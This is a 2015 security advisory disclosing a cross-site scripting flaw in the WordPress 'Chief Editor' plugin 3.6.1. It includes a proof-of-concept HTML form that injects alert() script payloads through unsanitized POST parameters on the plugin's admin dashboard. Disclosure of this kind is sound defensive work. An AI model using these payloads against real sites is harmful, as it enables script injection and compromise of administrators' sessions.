WordPress Chief Editor 3.6.1 Cross Site Scripting

`Title: WordPress 'Chief Editor' Plugin   
Version: 3.6.1  
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej  
Date: 2015-06-17  
Download:   
- https://wordpress.org/plugins/chief-editor/  
- https://plugins.svn.wordpress.org/chief-editor/  
Notified Vendor/WordPress: 2015-06-21  
==========================================================  
  
## Plugin description  
==========================================================  
Helps wordpress multisite "chief editor" to manage all drafts, comments, authors and "ready for publication" sends across the netw  
  
## Vulnerabilities  
==========================================================  
Some POST parameters are printed directly to the HTML without being sanitized.   
  
PoC:  
Log in as admin and submit the following form:  
  
<form method="POST" action="[URL]/wp422/wp-admin/admin.php?page=chief-editor-dashboard">   
<input type="text" name="submitDate" value="someValue"><br />  
<input type="text" name="datepicker" value=""/><script>alert(1)</script>"><br />  
<input type="text" name="blog_id" value=""/><script>alert(2)</script>"><br />  
<input type="text" name="post_id" value=""/><script>alert(3)</script>"><br />  
<input type="submit">  
</form>  
  
  
## Solution  
==========================================================  
No fix available  
  
==========================================================  
Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.  
`